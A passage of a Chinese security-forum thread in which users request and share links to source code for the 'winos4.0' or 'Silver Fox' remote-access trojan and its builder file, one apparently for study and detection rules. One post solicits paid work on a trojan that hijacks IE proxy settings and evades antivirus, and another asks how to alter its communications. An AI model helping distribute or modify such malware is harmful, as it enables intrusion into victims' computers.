bwner 雪币： 2531 活跃值： (5909) 能力值： ( LV10，RANK：160 ) 在线值：发帖 12 回帖 40 粉丝 91 关注私信	bwner 2 3 楼 Hades一KXXY 大佬方便分享一份源码吗我看的这套 c29K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6x3L8$3N6C8K9i4y4K6i4K6u0r3f1X3q4@1i4K6u0V1N6$3W2F1L8%4x3@1i4K6u0W2x3q4)9J5k6r3N6Z5x3s2y4@1 2024-11-22 14:03 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 4 楼 bwner 我看的这套 92bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6x3L8$3N6C8K9i4y4K6i4K6u0r3f1X3q4@1i4K6u0V1N6$3W2F1L8%4x3@1i4K6u0W2x3q4)9J5k6r3N6Z5x3s2y4@1 winos4.0 里面的源码全是空的这个项目 2024-11-22 14:07 0
bwner 雪币： 2531 活跃值： (5909) 能力值： ( LV10，RANK：160 ) 在线值：发帖 12 回帖 40 粉丝 91 关注私信	bwner 2 5 楼 Hades一KXXY winos4.0 里面的源码全是空的这个项目有的，插件就是源码 2024-11-22 14:27 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 6 楼 bwner 有的，插件就是源码我打开方式错误了么，就是模块里 2024-11-22 14:36 0
bwner 雪币： 2531 活跃值： (5909) 能力值： ( LV10，RANK：160 ) 在线值：发帖 12 回帖 40 粉丝 91 关注私信	bwner 2 7 楼 Hades一KXXY 我打开方式错误了么，就是模块里看起来确实删掉了，用git版本回退吧，看到他明确写了delete了哈哈哈 2024-11-22 14:37 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 8 楼 bwner 看起来确实删掉了，用git版本回退吧，看到他明确写了delete了哈哈哈我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前存的吗 2024-11-22 14:40 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 9 楼 Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前存的吗大佬方便发一份吗，在线等着学习 2024-11-22 15:13 0
bwner 雪币： 2531 活跃值： (5909) 能力值： ( LV10，RANK：160 ) 在线值：发帖 12 回帖 40 粉丝 91 关注私信	bwner 2 10 楼 Hades一KXXY 大佬方便发一份吗，在线等着学习不方便 2024-11-22 15:18 0
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 11 楼 bwner 不方便那可以单发一下BuildDlg.cpp么 2024-11-22 15:19 0
2DCoXrq 雪币： 2570 活跃值： (9325) 能力值： ( LV2，RANK：15 ) 在线值：发帖 37 回帖 499 粉丝 98 关注私信	2DCoXrq 12 楼 Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前存的吗银狐这里倒是有套源码，当心有后门 eb0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4j5%4p5J5z5p5W2H3f1V1E0Q4y4h3k6e0d9W2u0G2c8W2M7K6M7o6S2A6b7g2A6%4 提取码：d77k 只需要 BuildDlg.cpp 的话 6beK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5i4K6u0W2N6%4x3J5z5q4)9J5k6h3y4F1i4K6u0r3k6W2)9J5c8X3k6E0M7h3V1J5P5i4t1J5j5e0y4#2 最后于 2024-11-22 16:25 被2DCoXrq编辑，原因： 2024-11-22 16:19 3
Hades一KXXY 雪币： 4837 活跃值： (2460) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 99 粉丝 2 关注私信	Hades一KXXY 13 楼 2DCoXrq Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前 ... 谢谢大佬，你可太好了，我用虚拟机研究，加规则的，感谢 2024-11-22 16:34 0
CppLover 雪币： 204 活跃值： (155) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 9 粉丝 5 关注私信	CppLover 14 楼 2DCoXrq Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前 ... 你好。只需要 BuildDlg.cpp 的话 0efK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5i4K6u0W2N6%4x3J5z5q4)9J5k6h3y4F1i4K6u0r3k6W2)9J5c8X3k6E0M7h3V1J5P5i4t1J5j5e0y4#2 2024-12-4 23:02 0
CppLover 雪币： 204 活跃值： (155) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 9 粉丝 5 关注私信	CppLover 15 楼 2DCoXrq Hades一KXXY 我找了一下好像没看到有对应的版本，估计第一次上传后整个库删了，我找他最早上传的库，也没有源码，你那边方便分享一份之前 ... 这个链接失效了，可以再发一次吗？ 2024-12-4 23:06 0
领航装饰雪币： 27 活跃值： (80) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	领航装饰 16 楼学习，虽然看不懂 2024-12-13 10:21 0
mb_vdaqkotg 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_vdaqkotg 17 楼 146K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8V1c8F1d9r3u0K9y4g2)9J5k6r3A6E0i4K6u0V1P5W2N6h3c8s2q4v1c8#2N6m8b7$3#2m8 银狐木马插件源码学习之注入管理最后于 2024-12-13 10:35 被mb_vdaqkotg编辑，原因：写错了 2024-12-13 10:32 0
mb_mqcpjtlj 雪币： 268 活跃值： (165) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 26 粉丝 2 关注私信	mb_mqcpjtlj 18 楼写一个马改变锁定电脑IE代理地址并且不被杀毒软件清理待遇丰厚可长期合作会的联系我感谢????楼主 2025-1-11 00:55 0
hbwa486 雪币： 124 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 4 粉丝 0 关注私信	hbwa486 19 楼弱弱问下，动态和通讯怎么改，谁有教程 2025-7-7 20:12 0
mb_fopjuexb 雪币： 1 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_fopjuexb 20 楼编译一堆错误 2025-9-30 18:21 0
yuanyouran 雪币： 305 活跃值： (3075) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 184 粉丝 0 关注私信	yuanyouran 21 楼链接都失效了，可不可以再分享下 2026-6-8 21:55 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复